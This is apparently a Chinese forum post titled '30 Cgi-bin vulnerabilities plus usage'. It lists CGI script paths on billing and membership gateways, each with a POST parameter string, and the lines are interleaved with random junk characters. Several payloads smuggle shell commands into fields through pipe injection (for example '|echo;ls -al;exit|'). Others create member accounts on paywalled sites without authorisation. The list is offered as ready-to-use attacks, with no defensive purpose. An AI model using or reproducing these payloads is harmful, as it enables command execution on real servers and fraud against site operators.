Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
username=username&password=password

/index.cgi
* a6 E$ L* A  \- N8 Z8 F( \: @, zwei=ren&gen=command
$ i& ~( C' q) S1 `! _1 r% p5 B0 A
/passmaster.cgi
6 k0 `: [4 R6 |" [% DAction=Add&Username=Username&Password=Password
$ T( G( @3 i! @$ i
/accountcreate.cgi
( B1 f. R; y5 @% Q- g3 S& y" Musername=username&password=password&ref1=|echo;ls|
! B! D# @& I  Y! F7 R" E# B
& O! i6 |( W7 v# E* @0 E  e' O/ u/form.cgi
/ S  p; z+ V0 h8 R* y4 A' bname=xxxx&email=email&subject=xxxx&response=|echo;ls|

2 H0 r3 |/ G  y2 d/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

0 @* U: A) f( H' x) E9 Q" A% ?' f6 I$ }/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|
: H7 s) a: v" _, V4 I7 R
3 Y9 t$ i* X7 u+ M4 {/recon.cgi
; e$ s3 m; h6 p3 ~. c2 E7 C& L/recon.cgi?search
) G2 U0 R6 n% M% M( vsearchoption=1&searchfor=|echo;ls -al;exit|

" y- Q1 g2 N" I7 a/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
. {$ Q" R4 n5 f2 ]3 i
/af.cgi
, T- e8 @$ v: B0 Y9 c* o! A_browser_out=|echo;ls -la;exit;|
  X. {- `4 a2 U$ g+ b
% F, n7 P  H4 G  t9 P/modify.cgi
  ^+ N. ^7 z; ~( M$ l" cusername=username&password=password&expire=30
& X- x  U2 a* m* }" I
/openjournal.cgi
9 i$ ^6 C# w2 Yedit=1&ct=2&go=|echo;ls -al;exit|

+ b/ W' O- X- }/gx9passwd.cgi
# i3 p( E' s9 F, E0 R( {9 scmd=ADD&user=username&pass=password

/probecontrol.cgi
7 E/ C) ?! v% H# @command=enable&username=username&password=password

: G& J8 {3 H2 M/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

/htadd.pl
% y) l0 s) x/ Sconfigfile=|echo; ls -alt; exit

  [" ~, w, J/ _( h: T6 H/gx9passwd.cgi
cmd=ADD&user=username&pass=password
7 z" [/ Z8 E! _9 x7 t5 c$ |) T3 b
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
: q4 h/ @+ S, I# ^/ P' j7 kcommand=add_member&username=username(EMAIL)&password=password(DES)
7 J/ w, l' H3 r. m' j/ L+ H2 q+ x
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
7 y  O3 y" d( a; g" i
/usercontrol.cgi
; X" K4 X1 X- u. h8 |: G( {command=enable&username=USER&password=PASS

+ e4 i& p2 R4 q/globoSALErum.cgi
' Y& k, b3 f8 _1 B- t6 R# Daction=ADD&seccode=seccode&login=username&password=password

; @8 m' }9 r- o- l* f+ ]- M/addusr.pl
user=USER&pass=PASS&confirm=PASS
# L! [4 _$ R! ]* f5 |
- f' {) K8 D) {6 I/pincount.cgi
: X: y3 Y. T+ g/cgi-bin/mastergate/pincount.cgi
* C! u* Z5 ?5 Xpinfile=|echo;pwd;exit|

, g% G) @3 R% L' g/accountcreate.cgi
4 T- `2 }4 e: N6 E8 m5 Z- a/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
2 V# a' R. g8 k- i# T0 Y  d3 P# w' d
/af.cgi
. \. `7 _$ K8 z/ G9 ]- S/env.cgi
7 d8 T( V. M: @+ T% f$ \ADD+;echo;pwd;exit

* Y- a9 y  }8 h, r2 s+ A/count.cgi
pinfile=|echo;pwd;exit|
- N1 O4 z, R$ z0 l
/recon.cgi
% L# o* R+ u/ ]* \  T' g! ysearchoption=1&searchfor=|echo;ls%20-al;exit|
- P8 Y  i" m5 ~( D! t6 ~( s
/add.cgi
username=username&password=password&expire=30

; T' d( S6 z; `==============================
4 U9 f( F. M0 l+ V